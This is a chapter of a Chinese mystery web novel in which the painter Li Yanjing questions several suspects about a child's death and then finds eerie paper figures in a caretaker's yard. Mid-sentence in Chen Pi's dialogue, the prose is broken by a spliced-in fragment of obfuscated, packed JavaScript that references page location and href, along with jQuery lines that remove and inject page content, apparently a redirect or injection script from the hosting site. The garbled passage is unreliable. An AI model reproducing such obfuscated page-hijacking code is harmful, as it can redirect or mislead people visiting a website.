30.第 30 章

李宴景问过守门家丁,得知当晚出去过的共有四人,分别是,李不苦、陈皮、张希,还有戏班班主赵奎。


其中李不苦和张希出去的早,前者用完晚膳就出去了,后者干脆就没吃,陈皮和张希倒是出去的晚,两人一前一后,张希回来时正好碰到陈皮出去,陈皮还出去了两回。


家丁想了想,又补充了一个人:“哦,对了那晚还有个人来过,米阿勇。他是快半夜来的,说是老太爷找他有事。”


“米阿勇不是帮着庄家守着祖宅的么?他不住这么?”


“他住自己家。只是主子们不在的话,他会天天都过来这儿看看、打扫打扫什么的。老太爷倒是说了让阿勇把庄家当自己家,就住这儿就好了。但这人特别认死理,一直就说自己是个看门的,宁愿守着一堆破纸,也不愿意到庄家来。”家丁说完,微微一顿,忐忑道,“李画师,小少爷的死真的跟我们无关啊!昨晚我们几个分了两班倒,大门一直是有人守着的。我们敢发誓,小少爷绝对没从大门出去过!”


“是啊是啊,若说平时还有个打盹儿什么的,可昨晚后山那些乱七八糟的玩意儿乱叫了一晚上,刚一闭上眼,立马就闹腾开了,我们是真一晚没睡!”


“我知道了,多谢诸位。”李宴景决定跟这几位聊聊。


第一位,她选择了鼓师张希。


李宴景对那首童谣记忆深刻,而那么凑巧这群人里张希是唯一一个可以直接和童谣搭上关系的。即使得不到壮壮的线索,说不定也能找到一些关于童谣的线索。


但张希对李宴景的询问并不太配合,他说话风格与长相一样冷硬,对于李宴景的问题只有:“不知道”、“与我无关”、“不方便回答”等几个答案。


李宴景几个问题问下来,一无所获,最后只能抱着试试看的心态问了他一个问题:“张鼓师认不认识一个小孩,个头不高,牙齿倒很厉害。”


张希表情有瞬间的不自然,随即道:“什么小孩?没头没尾谁知道你说什么。”


李宴景点点头:“多谢张鼓师。那想必你也没听过什么金鼓、皮鼓。”她仔细观察着张希的表情——她并不期待张希回答这个问题。


但没想到张希居然开口了,他盯着李宴景,十分严肃地说:“离金鼓远一点。它很危险。”


李宴景挑眉:“多谢。”


“我不是开玩笑。”


“嗯,我知道,多谢。”李宴景回了一句。


第二位是李不苦。


李不苦自诩洞悉了李宴景的目的,未等李宴景开口,劈头便是两句:“李画师您瞒我瞒得好苦。”、“凶手变成军师,你可真有本事!”


“李师傅,饭可以乱吃,话可不能乱说。”


李不苦双手抱胸,冷笑:“你敢说庄家那位小少爷的死跟你……咳咳咳,姓刘的你疯了么?”


刘子昂手肘抵墙,胳膊牢牢架在李不苦脖子上,神色淡淡:“不是跟你说了么?话不能乱说。”


他可能真的会杀了我!李不苦只觉空气越发稀薄,鼻尖全是冷汗,他识相地认怂了:“别、别介啊,我、我开个玩笑罢了,你、你们还来真的啊?”


刘子昂嗤笑一声,松开了胳膊。


李不苦摸着脖子咳了两声,讪讪:“您这,脾气还挺大。”


李宴景冷嘲:“李师傅,您这都指认我是杀人犯了,难不成我要等铡刀放到我脖子上再喊冤?”


李不苦犹豫一阵:“真不是你?那你当时为何……”


“不把你骗走,难不成等你杀了我不成?”事已至此,李宴景懒得跟李不苦绕圈子,“我早就说过,我过来就是为了画画,根本就不知道什么宝物的事情。”


李不苦下意识反驳,但转念一想,面色一厉:“姓李的你套我话!”


“不是你上赶着非要告诉我的么?我可没说什么。”李宴景敲敲桌子,不耐道,“放心,我对你那宝贝没什么兴趣,我现在只想找出杀壮壮的凶手——说,是不是你昨天没找到所谓宝物却被壮壮发现了,所以杀人灭口?”


李不苦翻了个白眼,如果真的是他杀人灭口,那今天他怎么可能会被李宴景骗?这老庄家人也是脑子不太正常,找个画画的来查案。


“所以你昨晚去干嘛了?”


“去找宝贝啊!”李不苦理直气壮道,如果不是为了宝贝谁愿意跑到这鸟不拉屎的地方来?


“那你昨晚有没有发现什么不同寻常的事情?”


李不苦皱着眉想了想,摇摇头:“没有,我昨天一门心思找宝贝、还要防备被别人发现,哪有心思去观察其他情况!”


“一门心思找宝贝?可家丁说你昨晚很早就出去了。”


“出去散散心呗,晚上得动手,我不得冷静冷静?不过我出去的早,回来的也早。”李不苦两手一摊,“不信你问守门的。不是,我说我都说到这个份上了,到底还有什么可问我的?”


“行,多谢你。这几天别老往外跑了,我估摸着凶手不会消停,你小心被……”李宴景见李不苦面色不屑便知他没把这事儿放在心上。她索性住了口,突然问了句:“对了,你自己出去找宝贝没跟陈皮商量?”


李不苦掀了掀眼皮,面无表情道:“商量?跟他商量什么?他又不知道这事儿。”


不知道?李宴景点点头示意自己知道了。


至此,问话结束,接下来李宴景打算带着李不苦的证词去找陈皮。


但李宴景到访时,赵奎就在陈皮房里。


李宴景奇道:“赵班主,你这是……”


赵奎爽朗一笑:“我这不是看陈兄弟皮影实在是厉害,想请他加入我们戏班子么?”


李宴景从没听说过戏班子里还招演皮影戏的。


“这有啥不能的?皮影戏不也有个戏字么?而且多条路子都碗饭吃嘛,你说是不是,陈兄弟?”


陈皮含笑点头:“我自小无父无母,只有这只皮影箱从小跟我跟到大。若是赵班主不嫌我碍事,我愿意跟戏班子一起走!”


李宴景问:“那李不苦呢?你不管他了?”


提到李不苦,陈皮面上涌出一股怒气:“别说他了!我把人当好兄弟,人家把我当傻子呢,有什么事都藏着掖着不肯跟我说!问他去哪了、去干嘛了,永远是别管!今天一天都没看到他人!”


“兴许他真的不方便说呢?你个大男人纠结这干啥?”赵奎拍了拍陈皮,又问李宴景,“李画师你来是为了那小少爷的事儿?”


李宴景点点头:“对,听守卫说昨晚二位都出去过?陈师傅你还出去过两回?”


陈皮张了张嘴,还没出声,赵奎一摆手:“嗐,别提了,这庄家还自诩富贵之家呢!我赵奎在外头闯荡那么多年,头一回吃主家准备的东西,吃得拉肚子的!还好不严重,不然今天他们听什么戏?听空气得了!”


陈皮闻言尴尬地挠头:“那个,李画师你直接喊我名字就好了。陈师傅我听着怪怪的。


昨天我也吃坏肚子了。但是你看,我们这么多人都住在这院子里,但这旁边恭房只有两个。我也不好跟姑娘家抢,又怕到处乱跑犯了什么忌讳,索性就往外跑了。我头一回出去还碰到赵班主回来呢!”


“对对对,是这样。”


“昨晚戏班所有人都拉肚子了么?”


赵奎挠挠头:“和我就不太清楚了,不过我听好多人都嚷嚷着肚子不舒服,关键是那恭房就真的一直没空出来!”


“我还好,就是跑了两回肚之后,真睡不着了,半夜还在保养皮影。”陈皮说着说着忍不住苦笑起来,“谁知道皮影油给我上多了,颜色都晕了。”


皮影也需要保养的?这李宴景还是第一次听说。


“当然就跟你的画笔需要保养一样。”陈皮笑着说。


李宴景心中一动,问:“我能不能看看你的皮影?”


陈皮一愣,回神犹豫了下:“可以倒是可以,但我的皮影因为涂了太多油,颜色有点洇


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15098355|161623||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


开了,我还没来得及修复。要看可以,但是千万不能动手碰。”


李宴景点头表示同意后,陈皮拿出一个精致的木头盒子来,盒盖一掀开,便露出了里头几张皮影来。李宴景看了眼,挑眉:“这颜色不是还好么?”


陈皮摇头:“这是我回来又上了一遍颜色,你瞧瞧,这颜色还没干呢!”他手指轻轻点过皮影,手上果然沾了一点青色,他叹气,“下回绝对不能再操之过急了。”


李宴景能看出来陈皮对这皮影很是珍惜,她不过是看了几眼便让陈皮收了回去。


“对了赵班主,我想问问你,为什么张希没跟你们一起住?”


“哦,我们班里的鼓师手折了,张希是我们后找进来的。这小子性格独,不想跟我们一起住,反正庄家有空房,我就答应了。不过他打鼓真不错,待在我们班里其实有些屈才了。”赵奎摸摸胡子砸吧砸吧嘴。当然了赵班主这么纵着他最主要的原因是这张希要的银子只有原来鼓师的一半儿!


李宴景若有所思地点点头:“多谢二位。我们还有其他事情,先走了。”


“这算什么?只要我能帮的上忙的你尽管说。”陈皮面色唏嘘,“壮壮多可爱一小孩儿啊,前头我没少哄过他。他现在出事了,我也很难过。”


李宴景点头:“好。”


刘子昂听李宴景问了一路,问李宴景有没有从这些人的话里听出些什么来。


李宴景一边从荷包里往外掏东西,一边摇头,可她掏了半天,什么都没掏出来。


“找什么呢?我问你话呢。”


“没找什么。”李宴景心不在焉的说,“至于这四个人……我总觉得他们都有事瞒着我,最起码,李不苦在说谎,张希么……我不说你也该看出来他不对了。”


“你怎么看出李不苦在撒谎的?”


李宴景挑眉:“你信他出去是为了散心?”


刘子昂笑笑:“你不信我就不信。”


“房东,你这样耍滑头是不行的哈。”


简单说笑不过是调剂,案子才是重中之重。虽然天色不早,但李宴景和刘子昂还是按照庄家下人的指点,找到了米阿勇的家。


米阿勇住的很偏僻,附近一位邻居都没有。


李、刘二人扫了一眼瞧过去,院门开着,房门却锁了,房里没有亮。米阿勇不在家么?


此时,一阵风过,灌进屋檐下两只灯笼的大嘴里,发出阵阵咕噜声。


李宴景撞了下刘子昂,小声说:“诶,你说这声音听起来像不像这院子饿了,在咽口水。”


“你确定要继续吓我?那你一个人进去?”


李宴景讪笑:“玩笑、玩笑而已。”


刘子昂敲了敲院门,又问了句,米师傅可在,无人应答。两人这才前后进了院子。


米阿勇住的屋子不大,但院子却极大,地上还全铺了青砖。


李宴景一脚踏进院子,脚不小心踢到了什么,她忙低头一看,一个黑眼睛、红脸蛋、面色惨白的纸人正在冲她笑。


李宴景脑子一片空白,人已经傻了。


刘子昂久不见李宴景动静,回头一瞧,人还愣在原地,他眉头一皱,不做多想便抓住了李宴景的手腕——李宴景突然醒过神来反握住他的手。


李宴景用了很大劲,刘子昂却觉得李宴景的手冰得吓人,手心还有汗。他顿了顿,声音放缓了些,问:“吓到了?”


手上传来的温度逐渐驱散了李宴景的恐惧,她轻轻呼出一口气,过了会儿才松开刘子昂的手:“谢谢了。”


“你死人的脚都敢抓,你怕这个?”刘子昂说归说,借着微弱的月光把瞧见的露出人脸的纸人都换了个方向。


“那还是不一样的。”李宴景不太敢往地上看了,”你听过恐怖谷效应么,就是说……”


“嘭!”巨大的声响和地面微微的震感打断了李宴景的话。


这是发生什么了?李宴景胆战心惊地看向声音传来的方向。